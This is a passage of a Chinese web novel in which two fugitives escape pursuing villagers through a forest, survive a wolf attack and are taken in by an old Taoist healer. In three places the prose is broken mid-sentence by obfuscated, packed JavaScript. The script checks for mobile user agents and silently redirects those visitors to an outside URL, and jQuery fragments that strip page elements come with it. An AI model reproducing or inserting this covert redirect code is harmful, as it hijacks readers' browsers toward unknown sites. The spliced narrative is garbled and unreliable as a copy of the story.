贺岁愉也被眼前景象震惊得几乎回不过神来。 忽然,旁边“铛——”一声,有什么金属一类的东西掉在了地上,赵九重不知怎么弄断了绳子。 他脱身后,弯腰捡起脚边一截燃烧的木柴,迅速地烧断了贺岁愉身上的绳子。 他几把扒开捆着贺岁愉的绳子,抓着她的胳膊,通红的眼睛看着她,大喝一声:“跑!” 贺岁愉顺着赵九重抓住她的力道,紧紧跟在赵九重身后,跨过熊熊燃烧的木柴,跳下摇摇欲坠的高台,向远处的一片黑暗的山林间跑去。 “他们跑了!”有人发现了贺岁愉和赵九重趁乱逃跑,便大喊道。 乱作一团的人群重新凝聚起来。 “他们跑了!快追!” “快追!” 众人纷纷大喊着,朝他们追过来。 人群中一个瘦小佝偻的身影,远远看着赵九重和贺岁愉逃跑了,如释重负地松了口气,像是一直压着他的重担被挪开了一样。 忽然,他脸色一白,不知想起了什么,顿时又紧张起来,踌躇一番后,最终还是跟在人群后面追了上去。 *** 贺岁愉和赵九重在山林间穿梭。 月亮被乌云挡住,最后一点微弱的亮光消失了,视线中一片漆黑,什么也看不见。 贺岁愉一不小心被树枝挡了一下,迎面直直摔下去,沙石蹭破了膝盖,陷进皮肉里,但她完全顾不上,立刻爬起来继续逃命。 她把腿抬得更高,更大步地跑起来。 纵然被树枝划伤脸颊,被挂破衣裳和裸露在外面的皮肤,他们也没有丝毫停留,拼命地逃啊逃。 不远处,村民们举着火把,沿着他们穿行时折断和压倒的草木的痕迹,一直跟在他们身后穷追不舍。 对于这些出生在山里,在山里生活了十几年或几十年的村民来说,爬山穿林是最拿手不过的事情,其中不乏体力好、身手好的年轻人。 贺岁愉和赵九重身上都有伤,又摸黑在林中逃跑,不时就要被树枝挡住绊倒,即便忍着痛很快爬起来,也浪费了不少时间。 没过多久,他们就被追上了。 忽然,赵九重猛地刹住了脚步。 贺岁愉“砰——”一声,一脑门撞在他硬邦邦的后背上。 “怎么了?”贺岁愉连忙着急地问,“怎么突然停了?” 赵九重语气凝重地说:“前面是个陡坡。” 他们回过头,看了一眼身后即将追过来的那群人。 一片黑暗中,密密麻麻的枝桠间,明亮的火把越靠越近,仿佛正在移动的四散星辰,几乎呈包围之势,将他们困在这一块儿,让他们无处可逃。 他们没时间从旁边绕过去了。 22. 穿林 二人对视一眼,都在对方眼中看到了决绝的意味。 “不管了,跳。”贺岁愉果决地说。 赵九重点了点头,率先跳了下去。 贺岁愉紧随其后,陡坡上落了厚厚一层枯叶,她一伸脚刚踩着地面,就滑了下去。 “啊——” 她忍不住尖叫,下意识用双手护住脑袋,在飞速下滑的过程中,尽力调整姿势,侧着身体微微弯曲,尽量保护自己。 不一会儿,举着火把从四面八方跑来的村民汇聚到陡坡边,纷纷停住了脚步,“跳下去了?” “绕到下面去找!”有人说。 说罢,几个人便分散开,从陡坡两边平缓一些的地方举着火把跑下去。 贺岁愉和赵九重二人沿着陡坡,“咕噜咕噜——”一路滚下来,身上都数不清被树枝和石子划伤了多少道,衣裳都被挂得破破烂烂的了。 贺岁愉运气还算好,没有特别大的伤口,赵九重后背上被树枝戳了一个血洞,血肉模糊,血流如注。 贺岁愉躺在地上,痛得几乎要爬不起来。 她本来想要缓一会儿,但是一睁眼,看见远处举着火把密密麻麻从山坡上往下跑的村民,她瞳孔一震,登时便一挺身站起来,见赵九重还躺在地上,连忙拉起赵九重就跑。 “来了来了,又追来了,赶紧跑!”她忙不迭道。 赵九重忍着伤口处的剧痛稍缓片刻,抓着贺岁愉的手,又冲在了前面。 他走前面可以替贺岁愉开一条路,挡去许多横斜的枝桠,贺岁愉相对于他而言,个子太小,即便走前面也无济于事。 贺岁愉没发现他的异常,还以为他刚刚只是一时松懈了,所以才没有第一时间爬起来。 直到她伸手去扒拉树枝时,无意摸到了一片濡湿,才知道,赵九重后背早已经被鲜血浸透。 贺岁愉愣了下,在空气中抓了抓黏腻的手掌。 从陡坡下来以后的路平缓了许多,不知道跑了多久,一开始,贺岁愉还会伸手挡着脸,怕自己会毁容,后来被树枝刮的麻木了,干脆懒得伸手挡了,只一个劲儿地拼命往前跑。 糊成一团的脑子里只有一个念头——活下去。 再后来完全是靠求生的本能在逃命,就靠一口气撑着。 渐渐地,身后阴魂不散跟着他们的火把终于消失了,前面一片漆黑,身后亦是一片漆黑。 *** 又过了些时候,天边出现隐隐约约的一条白缝。 天,快亮了。 贺岁愉躺在山林间,因为剧烈运动,胸口仍然在起起伏伏,看着一点点泛白的天空,很有一种劫后余生的感觉。 还活着,真好。 赵九重平躺在她旁边,累得双眼发直,也和贺岁愉一样,胸口起起伏伏地大口呼吸着。 “我忽然想明白一件事——”贺岁愉忽然转过身来,“如果你不给他们那银子,他们女儿治不好,没准儿还不会推咱出去当替死鬼,咱们也不用经历这一场浩劫……” 赵九重不知听没听明白她的话,即便听明白了,恐怕也已经没力气回答了。 “都怪你!”贺岁愉管他回不回答,伸手从地上捡起一块大石头想要朝他砸过去,“我该打死你个烂好心的!气死我了!” 赵九重刚躺下不久,身下的枯树叶又被他的鲜血染红,红色液体在层层叠叠的树叶间流淌,染红许多落叶。 贺岁愉看见赵九重伤成这个样子,想起一路上他很有义气地护着自己的样子,即便心里生气,还是没下得去手,最终“砰——”一声砸向了旁边的石壁。 石壁上的沙石顿时“扑簌簌——”脱落下来。 “你身上一直在流血,他们顺着血迹追过来,恐怕要不了多久就会追上我们。” 贺岁愉从地上爬起来,“起来,包扎一下,咱们继续逃。” 赵九重却不知何时闭上了眼睛。 贺岁愉轻轻踢了他一脚,“醒醒。” 但他依然没有反应。 贺岁愉蹲下身,使劲晃着他的肩膀,大声喊:“醒醒!赵九重!醒醒!” 赵九重睁开了眼睛,看见了满脸大大小小伤口的贺岁愉正一脸不虞地看着他,她蹲在他旁边,弯着腰低着头直直和他对视,浑身肉眼可见的烦躁。 都不情愿成这个样子了,这小贼这回竟然没有将他抛下,可真难得。赵九重心道。 贺岁愉一边拉他,一边不耐烦地说:“赶紧起来,我先帮你包扎一下伤口,然后咱们继续逃命。” 赵九重双手撑着地面坐起来。 贺岁愉这才看清他背后的血窟窿,顿了一下。 还真是伤得不轻。 “刺啦——刺啦——”两声,贺岁愉手脚麻利地从赵九重身上撕下来两块又宽又长的布条。 她身上的衣服已经被树枝挂开了好几道口子了,可不能再撕了。姓赵的衣裳虽然也破破烂烂的了,但他一个男人,上半身不穿衣裳也没事儿,而且给他包扎不撕他的衣服撕谁的? 赵九重如今伤成这个样子,也顾不得贺岁愉将他的衣服撕成这个样子了,心中甚至还对贺岁愉没抛下他一个人跑了,还给他包扎伤口感到十分欣慰。 “衣服脱了,赶紧的。”贺岁愉急急地催促道。 赵九重如今还当贺岁愉是个年岁不大的小兄弟,自然也不扭捏,三两下便脱了外袍和上衣,屈着一条腿,大喇喇坐在地上。 贺岁愉视线划过他线条分明、富有力量感的紧实肌肉,没过多停留,如果不是如今这样要紧的要命关头,她肯定是要好好欣赏一下的,但是自从穿越过来以后,几乎每日都挣扎生死线上,她早就对男色看淡了。 千好万好,不如活着好。 想到身后不知是不是还在追杀他们的那群村民,贺岁愉就心如死灰。 她拿着布条绕到他身后蹲下,双手穿过他的腋下,将布条从后背绕到他的前面,“喏——自己拿着。” 她用布条交叠把他的伤口裹住,稍微勒紧了些,勉强止住血,不然一路走,血一路滴,一路留下痕迹。 “自己打个结,绑紧点儿。”她吩咐道。 经过多日的相处,赵九重对她的容忍底线也在不知不觉中降低了,对于她过于敷衍的包扎方式也适应良好,自己乖乖打了个结。 贺岁愉站起身,“衣服穿上,走。” 赵九重站起身来,随手从旁边捡起一根木棒,方便行路时能有个支撑。 他原本那根哨棒被村子里的人抓住时,就已经被收走了,他们逃跑的时候顾全自己都难,自然也顾不上去找这玩意儿。 贺岁愉走在前面,赵九重摇摇晃晃跟在后面。 走了一段路,赵九重忽然“砰——”一声又栽到了地上。 贺岁愉回过头来,看到那根木棒断成了两节,赵九重躺在地上,身上的伤口大概又崩裂了,摔在地上时后背被挤压,血又流了出来。 赵九重伤上加伤,又奔逃一夜,流了那么多血,只靠意志坚韧强撑着,现下身体早已经到了极限,这次摔倒在地以后,连爬起来的力气都没了。 贺岁愉无法,只得走过去把他拉起来。 她身上大大小小、青青紫紫的伤口也密密麻麻,有的露在外面,有的被衣服遮住了,衣裳的后背也有零零星星、大块小块各个形状的血迹。 附近没有合适的木棒了,而且林间落在地上的木棒都是干了的、快要腐朽的木柴,根本不结实,支撑不了赵九重的力量。 而且赵九重现在比刚刚的情况更严重,即便是有趁手的木杖,自己一个人也难以赶路,必须得靠人扶着才行。 她费力地支撑着赵九重的身体,慢慢扶着赵九重往前走,“都说了让你少吃点,你怎么那么重啊?” 她满怀怨气,“这些日子过得这么苦,你竟然都没瘦!怎么还跟上次一样重啊你!死秤砣!” 赵九重知道贺岁愉扶他扶得艰难,被骂了也不生气,难得有点不好意思,“辛苦你了。” 没走几步,贺岁愉累得就根本没力气再骂他了,一脸怨气地扶着他在山林间龟速穿行。 *** 他们从天还没亮时就开始走,一直走到中午的时候,贺岁愉实在没力气了,这才找了个地方歇着。 山林间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她自己一个人去搏一搏,只要在天黑前走出这片山林就有生的希望。 即便天黑前走不出去,她一个人也更容易行动,找到能藏身的地方躲一夜,应该要不了多久就能走出去了。而且,最起码应该不会被那群村民追上。 人不为己,天诛地灭。姓赵的确实是个好人,但是她得多为自己考虑考虑。 她带他走了这么远,已经仁至义尽了。 想到这里,贺岁愉下定了决心,转身就走。 她转身离开,却没注意到身后不远处躺着的那人,双眼仍然紧闭,但睫毛却轻轻颤了颤。 *** 贺岁愉走了不一会,就已经满头大汗,不全是因为累,主要是因为太久没吃东西饿了。 她肚子“咕咕——”叫了好一阵了,她一直没理,但是人的身体和各个器官也不是她自己能控制的。 太久不进食,浑身的虚汗便密密麻麻地往外冒,身体也软绵绵的,连脚都提不动了,就连脑袋都觉得昏昏沉沉的。 如今这个时节,树木刚发新枝长新叶不久,能结果子的树现在花儿都还没落,她原本还希冀着能找点儿野果吃,结果走了这么远,一颗能吃的果子都没见着。 于是,她只好薅了几把旁边认识的一种矮树上的嫩叶子塞进嘴里,以作果腹之用。 一开始,薅的时候没留意,还被树叶背面的毛毛虫喇了手,她手一抖,一把刚薅下来的嫩叶子“扑簌簌——”都掉在了地上。 贺岁愉长了教训,便放满了摘叶子的速度,留意着叶子背面,确保没有虫子才一片片摘下来,甚至还讲究地擦了擦上面不知道存不存在的灰尘。 嫩叶子虽然不喇嗓子,但是味道实在很难吃,即便是这样,贺岁愉也大口大口塞了不少进去。 如今这个地步了,只要能吃,再难吃都得吃。 好一会儿,额头上的虚汗才慢慢不往外冒了。 她从地上站起来,继续往前走。 突然,她脚步一顿,“唰——”地扭头,朝一个方向看去。 不知道是不是她的错觉,她刚刚仿佛听到了狼的叫声。 她的心怦怦直跳,加快了脚步,往前走去。 忽然,不远处的树林间一群鸟“扑腾腾——”飞起来,不知道是什么东西惊飞了鸟群。 贺岁愉心跳得快极了。 她不能这么背吧?刚抛下赵九重走了没多远,就要遇到些不太妙的东西了? 23. 第 23 章 贺岁愉拔腿就往相反的方向跑。 跑着跑着,她猛地刹住了脚。 她双眼圆睁,瞳孔急速放大。 她正前方不远处,一只灰色的狼正用一双黑黝黝的、凶狠锐利的眼睛盯着她,晶莹的涎水从它长满了锋利牙齿的口中滴落下来。 贺岁愉心跳的快得要出来,脑中嗡鸣一片,心里只有一个念头——完了。 狼站在略高的坡地上,黑色的鼻子动了动,不知道在嗅什么,黑色的眼睛里冒着绿光,透露出凶狠和残忍的气息。 它不知不觉间调整了身体姿态,弓起了背,仿佛蓄势待发,随时都要扑过来将对面的人撕咬成碎片。 贺岁愉咽了下口水,心怦怦直跳,人却一动不敢动地站在原地,眼珠子滴溜滴溜转,脑子也快转冒烟了。 忽然,那狼动了。 它猛地朝贺岁愉扑过来,动作快得看不清,只看见一道黑影从绿油油的树丛间划过。 贺岁愉反应也很快,侧身一滚,躲开了扑过来的狼。 狼扑了个空,在地上磨了磨爪子,鼻腔中发出“呼——呼——”的喷气声,在寂静的山林间格外明显,尤其是在贺岁愉离它很近的情况下,这带着威慑力、令人恐惧不安的信号便清晰地落在了她耳中。 贺岁愉的心几乎沉到了谷底。 难道今天她真的要了结在这里? 好不容易从那个村子里逃出来,这么快就要葬身狼腹了? 她好不甘心呐! 在狼虎视眈眈地盯着她的时候,贺岁愉也不是完全没有动作,她捡起了地上一根手腕粗的木棒。 当狼再次扑过来的时候,她看着这道黑影心跳几乎停止,握紧了手里的木棒,狠狠朝它劈过去。 木棒结实地砸在狼身上,狼被打偏了方向,暂时抵御了一次它的攻击,但是贺岁愉手上的木棒也“咔嚓——”一声断成了两截儿,先后落在了铺满枯叶的地上,发出低哑的哀鸣。 贺岁愉额头冷汗不止。 狼落到地上,站稳了身子,转头又瞄准了贺岁愉,它张开满是锋利牙齿的大嘴,发出刺耳的咆哮声。 贺岁愉心肝一颤。 这次,她手上没有可以抵御的武器了,周边也尽是树木山石,她被困在其中,可以活动的空间甚小,恐怕难以躲开。 在狼猛地朝她扑过来时,贺岁愉紧紧闭上了眼睛,抬起双手捂住了脑袋。 但是意想之中的疼痛并没有袭来。 反而听到了狼呜咽一声,一阵疾风从她面上刮过。 贺岁愉睁开眼睛,正巧看到赵九重抓着狼的后腿将那只狼狠狠地砸在了石壁上。 狼发出尖锐的嗥叫,随之,那一处沙石噼里啪啦落下。 它绷紧了身体,眼中凶光在线,又亮出了锋利的牙齿和爪子,正要转头攻击赵九重。 赵九重当然不会给它这个机会,他眼疾手快朝它的腹部狠狠一拳砸下去,然后拳头如雨点一般密密麻麻落了下去,拳拳到肉,发出闷闷的响声,狼起初痛苦地嗥叫一声,后来哀鸣连连,最后没了声音,紧绷的锋利爪子垂落下来。 赵九重松开手,那只狼软趴趴落了下去,“啪——”一声落在了地上。 贺岁愉大口大口喘着气,从惊慌中缓过神来,这才看见,约莫是赵九重力气太大,狼的腹部已经叫他硬生生用拳头砸开了,露出鲜红的血和一些乱七八糟的内脏。 贺岁愉只看了一眼,没敢再多看。 赵九重用尽了全身的力气,“咚——”一声失力跪在了地上,迎面倒下了去。 后知后觉的贺岁愉反应过来,连忙几步上前去扶他起来,“赵九重,你没事儿吧?” 赵九重呼呼地喘着粗气,听到贺岁愉的话以后,转过头来,一双黑沉沉的眼睛静静地看着她。 贺岁愉没反应过来,“你怎么了?” 赵九重“呵”了一声,透露出来浓浓的嘲讽。 贺岁愉:“……” 她从赵九重的眼神中看出了点儿什么,终于反应过来,他在指责和嘲讽自己偷偷先跑了,结果没跑多远就遇到了狼,真是活该。 贺岁愉摸了摸鼻子,碍于他刚刚救了自己,于是心虚地没有说什么。 赵九重审视的目光投过来,“你没什么要说的么?” 贺岁愉嘟囔:“有什么好说的,你不都看见了。” 赵九重痛心疾首:“你真是一点儿义气也不讲,将身受重伤的同伴抛在荒郊野外,一个人偷偷逃跑,亏我还以为你现在变得有良知了。” 贺岁愉理不直气也壮:“我不是带着你走了那么远么!你还想怎么样!” 赵九重不理会她的话,反而奚落道:“叫你偷跑,差点儿被狼吃了吧?” 贺岁愉抿了抿唇,忽然正色道:“谢谢你。” 如果刚刚不是赵九重及时出现,她现在早就没命了。贺岁愉虽然偶尔讲话刻薄难听了一些,但她并非全然忘恩负义和蛮不讲理之辈。 赵九重愣了下,然后哼了一声,没再纠缠她撇下他自己一个人偷偷逃跑的问题,说起了正事,“算了,我也不是头一天认识你,懒得跟你计较,此地不宜久留,还是赶紧离开吧。” 贺岁愉点了点头,正要走,忽然又想起地上躺着的那只被赵九重打死的狼,心中颇为可惜。 她的目光落在狼的尸体上,“咱们要不吃点东西再走?” 她都好久没沾过荤腥了。 赵九重:“?” 赵九重疑惑一瞬,顺着她的目光看过去。 赵九重:“……” “你有火折子吗?” 贺岁愉摇了摇头。 “你有打火石吗?” 贺岁愉仍是摇头。 “我们什么都没带,等钻木取火把火生起来,然后再把狼肉烤熟,到时候天都黑了,不如抓紧赶路,早些走出这片山林。” 贺岁愉灵机一动,“咱们也可以把这只狼带上。” 他挑了挑眉,“你背着?” 贺岁愉:“!” 她瞪着眼,“当然是你背!” 赵九重又“呵”了一声,“我可背不动。” 说罢,他就朝前走去。 贺岁愉还是舍不得这么大一块肉,连忙抓住了他破破烂烂的衣裳,“你去撕它一条腿下来,如果咱俩今晚还走不出去,就当夜宵。” “行吧。”赵九重去撕下了一条后腿。 贺岁愉见赵九重伤得这么重,不要她搀扶,能自己坚持走,她就已经千恩万谢了,所以在赵九重撕下了狼的一条后腿以后,连忙去接过来了。 *** 山岭连绵起伏,天色一点点暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977664|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,他们二人仍然没有走出去,但是找到了一处山洞,可以过夜。 贺岁愉把那条狼腿拿了一路,二人捡了些木柴,赵九重费了番功夫生了火,又搭了个木头架子,把那条后腿扒了皮,放在架子上烤着。 很快,肉的油脂被烤出来,火焰卷过时,发出“滋啦滋啦”的声响。 油脂的香气飘到了贺岁愉鼻子里,她目不转睛地看着烤得焦黄的肉,忍不住咽了咽口水。 这段时日太过辛苦,她都记不清上次吃肉是什么时候了。 “可以吃了吗?”她眼巴巴地看着。 赵九重把肉腿翻了个面,“再等会儿。” 贺岁愉又等了好久好久。 赵九重将那条腿从火焰上取下来,想要把它撕成两半儿,太过着急,刚一上手就被烫着了,又舍不得把它扔在地上,于是两个手来回倒腾,“好烫好烫!” 贺岁愉眼下顾不上嘲笑他,满心满眼都只有面前已经烤好了的肉,一直盯着,眼睛都不眨一下,分不出一点心神和注意力在旁的事情上。 赵九重忍着烫手,把它撕成了两半儿,贺岁愉挑了大的那一块。 刚拿到手里,她就迫不及待咬了一口,结果烫得她龇牙咧嘴,也舍不得吐掉嘴里这块儿肉,忍着烫嘴,嚼了几下咽下去了。 第一口太着急没注意,也没尝着味儿,贺岁愉咬第二口觉得肉质外焦里嫩,口感劲道,很有嚼劲儿。 她饿得很了,吃了好几口以后才注意到,肉里面还有血丝,外面都烤焦了,里面还不算特别熟,而且吃进嘴里有很浓的腥味儿。 她咬了几口,止住因为过于饥饿而产生的心慌以后,把里面不太熟的部分重新架到火上又烤了一会儿,这才继续吃。 贺岁愉和赵九重吃过了夜宵以后,又再附近捡了些木柴回来,然后二人轮流休息,轮流守夜,等到第二天天明再继续赶路。 山洞外风声呼啸,凌冽的寒风时不时会刮进山洞里。 贺岁愉走了一天累极了,瘫软地靠在石壁上,看着赵九重坐在火堆边,就坐在她的旁边,一颗风雨飘摇的心莫名地安定了一点儿。 和赵九重一起,确实比她一个人安全得多,即便有野兽闯进来,肯定也是先吃赵九重,贺岁愉如此宽慰自己道。 在跳跃的火光中,她从石壁上慢慢滑下去,逐渐阖上了沉重的眼皮。 赵九重手里拿了根树枝,拨了拨火堆,把木柴往中间推了一点,让火堆燃得更盛了。 火光照亮了贺岁愉疲惫的面容。 *** 贺岁愉睡了约莫两个时辰以后,被赵九重叫醒了。 二人换了班,由贺岁愉守夜,赵九重这才休息。 贺岁愉往火堆里添了木柴,静静地等待天亮。 一开始,她看着黑黢黢的洞口外面,心底还会有点儿紧张,生怕突然又有什么野兽冲进来,但是他们难得这次的运气还不错,只有呼啸的风声,没有野兽靠近。 天亮了,贺岁愉叫醒赵九重,二人熄灭了火,又要开始赶路了。 昨晚吃了东西,又休息了两个时辰以后,赵九重似乎恢复了一点,走起路来不像昨天那样摇摇晃晃、仿佛随时都要摔倒一样了。 贺岁愉看着天边的鱼肚白,心中暗暗祈祷:老天保佑,今天一定要走出这片破林子啊。 24. 第 24 章 晚霞满天,金乌西沉。 天又要黑了,但是这次他们没有那么好的运气找到一处可以过夜的山洞。 贺岁愉和赵九重又在山中穿行了一日,翻过一座山,又翻过一座山,仍然在山林间。 贺岁愉靠坐在一棵歪歪斜斜的大松树下休息,她身上的伤口一直没有处理,已经开始发炎,浑身大大小小的伤口痛得厉害,两条腿也酸痛得厉害,就好像不是自己的腿了一样。 如果不是想要活下去,她真想就躺在这里睡过去,不走了,不遭这个罪了。 赵九重杵着一根木棒,爬上了山顶,站在最高的山石上,极目远眺。 目之所及是一望无际、深深浅浅的绿,中间间或夹杂着一点枯黄或是白色,约莫是一些还没有长出枝叶的树,以及一些开着花儿的树。 突然,他在对面的山峰上看见了几间草庐。 赵九重从山顶滑下来,走到贺岁愉身边,“起来,对面有人住,咱们去看看,能不能借宿一晚?” 贺岁愉掀开沉重的眼皮,皱起了眉头,语气十分怀疑:“又借宿,靠得住吗?别又跟上次那样……“ “先去看看吧,情况不对再跑,总比在荒郊野外过夜强。”赵九重杵着木棒朝前走去。 贺岁愉也撑着地爬起来,“行吧,我就不相信咱俩运气能这么差,在一个坑里栽两回。” 贺岁愉走到赵九重旁边,忽然想起一件之前疑惑的事情,“对了,咱们被绑在篝火后那晚,你是怎么挣开绳子的?” 赵九重用木棒拨开拦路的荆棘,“和那伙村民发生冲突时,我在茅屋里摸到了一块生了锈的碎铁片,后来被他们拽出去的时候把它藏在了手里,然后靠那块铁片把绳子磨开了。” 贺岁愉恍然大悟,“怪不得你被绑着的时候一点也不慌张,而且那个老巫师跳到你身后时,你那么紧张,原来是在偷偷摸摸割绳子。” …… 二人说着话,又过了许久,终于走到了对面那座山头的草庐前。 赵九重杵着木棒走上前,抬起手敲门,“笃——笃——笃——” 有节奏的三声清脆声响在寂静的草庐门前响起。 等了一会儿,“吱呀——”一声,一个垂髫小童开了门,被赵九重满身干涸的血吓了一跳,好奇地看着他们,问:“二位找谁?” 赵九重道:“我兄弟二人遇难路过贵地,天色已晚,可否在贵府留宿一晚?” 小童仔细打量了赵九重和贺岁愉二人一番,见他们二人一身破破烂烂,衣裳叫鲜血浸染不说,裸露在外的皮肤上也满是大大小小的伤口,着实可怜,看面相也不像是什么坏人。 “你们等着,我去问问师父!”说罢,小童又关上了门。 很快,小童吆喝的声音从低矮的土墙里传出来,“师父,外面有两个身受重伤的外乡人要借宿!” 不知那师父说了什么。 不一会儿,小童打开了门,看向身后的人说:“师父,就是门外这二人。” 贺岁愉的目光落在小童身后。 一个发须皆白、身穿破旧道袍的老者正看着他们二人,老者头发和胡子都是雪白一片,但是身板倒是很挺直,不像那个村子的那个老村长一样,腰背佝偻,而且眼睛炯炯有神,不似那老村长那般浑浊发黄。 老道士的目光从贺岁愉身上掠过,落在了赵九重身上,然后慢慢让开了身子,“二位请进来吧。” 贺岁愉见对方是个上了年纪、仙风道骨的道士,心里莫名安定了一点,和赵九重一起,跟在老道士身后走了进去。 小院里,沿墙围了一圈篱笆,篱笆里养着几只鸡鸭,角落里有一块地,不知道种了什么,从土里冒出来约莫一寸有余的绿芽,院子里搭着两个木头架子,架子上放着几个竹编笸箩和竹筛,装着一些大概是药材的植物。 老道士带着他们在院子中间的木头亭子里坐下。 赵九重率先站起来道谢:“多谢老先生收留我二人。” 老道士捋着胡子,“二位从何处来啊?” 赵九重如实回答:“我二人从沧州来。” “沧州可距离此地有近四百里啊。” 赵九重一愣,“敢问先生,此地是归属于哪座城池?” 老者回答:“再走百余里,便到青州了。” “二位身上的伤是?” “不瞒先生,我二人误入一个山中村落,差点儿成了他们的祭品,侥幸逃出来以后,又遇上野兽袭击,这才落得浑身是伤。” “贫道略通些医术,可以治好二位身上的伤,但是我有一个条件。” 赵九重眼睛一亮,贺岁愉也抬起头来。 “什么条件?” 老道士看着赵九重,笑着说:“我想请这位少侠去华山帮我下一盘棋。” 赵九重惊讶:“下棋?” 贺岁愉也大为吃惊。 这是什么古怪的要求?专门要人去华山下棋,而且,这人也奇奇怪怪的。她心里仍然很是警惕,尤其是上次背那淳朴热情的老伯一家背刺以后,面对生人就更加警惕了。 “贫道数年前曾与师兄在华山约了一盘棋,但是我如今上了年岁,华山山高路远,贫道受不得路途颠簸,我看少侠有缘,便想请少侠替我去华山赴这棋局之约。” 贺岁愉越听越觉得这像是什么陷阱,心里直打鼓。虽然身上的伤疼得厉害,若能治好那当然是大好事,但是这老道士突如其来的援助实在是让人不放心。 赵九重沉思片刻后,答应了老道士提出的交易。 贺岁愉没说话,准备等这老道士先医治姓赵的,然后她再看看情况,一有不对劲,就赶紧跑。 老道士让小童进屋拿了纸笔出来。 他先给赵九重把了脉,又检查了赵九重身上的伤口,这才写了单子让小童去抓药,然后又从屋子里拿出一个细长颈白瓷瓶装着的药粉,递给赵九重,让他待会儿清洗了伤口以后再敷上药。 看完赵九重的伤以后,老道士该给贺岁愉把脉了。 贺岁愉刚准备自然而然地伸手,忽然想起什么,又立刻把手缩回来了。 赵九重惊讶地看着她,“你怎么了?” 老道士仍然是那副波澜不惊的从容模样,仿佛对贺岁愉异常的反应并不感到惊讶和奇怪,就像是早就料到似的。 贺岁愉迟迟没有动作。 赵九重不由得有点儿着急,“你不要讳疾忌医啊!得让仙长把了脉,仙长才好给你开药啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977665|161417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 贺岁愉抬起头,看见了老道士那双沉静中隐约透露出来几分了然和睿智的眼睛,出于某种凭空而生的奇异信任,慢慢伸出了手。 老道士伸出苍老粗糙的三根手指,搭在贺岁愉青色血管十分明显的手腕上。 贺岁愉的心怦怦直跳,控制不住地紧张。她还想一直跟姓赵的同路,好乱世苟下去,若是这老道士拆穿了她的女子身份,姓赵的那个性子,未必愿意让她一个姑娘家一直跟在身边。 但是老道士什么都没说,很快便收回了手,笔走龙蛇,“唰唰——”在纸上写下了一串药方,叫屋子里抓药的小童出来拿。 贺岁愉看着这个仙风道骨的老者,脑中迷雾重重。 他知道了,却没有拆穿她。而且还出于某种牵强又古怪的原因帮他们二人治伤。 她实在猜不出来也想不明白他的用意何在。 老道士同样给了贺岁愉一瓶子药粉。 *** 老道长还贴心地给贺岁愉和赵九重安排了两个房间。 贺岁愉拿着药粉坐在床上,心中不由得感激。 她刚准备脱衣服清洗身上的伤口,就听到了敲门声。 贺岁愉打开门一看,是赵九重。 她蹙眉道:“你来做什么?” “我后背上有的伤口自己上不了药,想请你帮帮忙。”也许是相处的时日太久,赵九重一边说话,一边自来熟地往里面走。 贺岁愉心里清楚,那道长愿意给她治伤,算是她沾了赵九重的光,所以帮赵九重上个药,她心中难得的无甚怨气,上药时还放轻了动作,小心地把药粉撒在赵九重后背狰狞的伤口上,低着头,满脸俱是认真神情。 赵九重上完了药,却不准备走,脸上表情不无关切地问:“你后背伤势也不轻,不需要我帮忙上药吗?” 贺岁愉觉得,人有时候热心过了头,就让人觉得讨厌了。比如说赵九重。 “不需要。”她当即拒绝道,还推着赵九重出去,“上完了药就赶紧出去,别在我这儿赖着,我要休息了。” 赵九重颇为怀疑贺岁愉自己能否上好背后伤口的药,被推着走时,仍然回过头来,又问了一遍:“你真的不需要?” “不需要!不需要!”贺岁愉干脆利落地再次拒绝,语气里甚至充满了故意要叫赵九重听出来的不耐烦。 赵九重被推出了门外。 他刚跨过门槛,站到门外,“砰——”一声,门就在身后关上了。 贺岁愉为保险起见,从里面锁了门。 她在木盆里的清水中,清洗了一下身上的伤口,待伤口上的水晾干得差不多的时候,才打开白瓷瓶的木塞子,将里面的药粉抖在伤口处。 棕色的药粉落在触目惊心的伤口上,刺痛了贺岁愉,像针尖轻轻扎上去一样,她忍不住“嘶——嘶——”痛得连声倒吸凉气,撒药粉的手都抖了。 上了药没一会儿,又有人来敲门。 贺岁愉以为又是赵九重,打开门刚准备骂人,却发现是那个垂髫小童。 他端着一碗黑漆漆的药汁子,“你的药熬好了。” “多谢。”贺岁愉连忙接过来。 那小童正要转身走,贺岁愉忽然叫住了他。 25. 第 25 章 “你师父一直这么有善心吗?”贺岁愉看那小童没反应过来什么意思,补充说,“我是说,他经常救助我们这样的过路人吗?” 小童想了想,用稚嫩的声音回答说:“也不是经常,师父带我隐居在此,时常好几个月都见不到生人,算不上经常救助路人,而且,师父救人一向看缘分。” 药碗中飘出来的袅袅热气扑倒贺岁愉脸上,她闻到了浓重的药的苦味,光是闻到这个味道,就苦得她张不开嘴。 小童已经走远。 贺岁愉端着药碗进来,看着漆黑的药汁子,咬了咬牙,仰头一饮而尽,苦得她小脸皱成一团。 利索地放下手时,手一滑,还差点儿摔了空药碗,幸好她反应快,及时抓住了。 贺岁愉喝过药以后,睡了一觉,这一觉睡得极沉,不知道是因为喝了药,还是因为终于不再露宿荒郊野外,难得能在室内休息一夜。 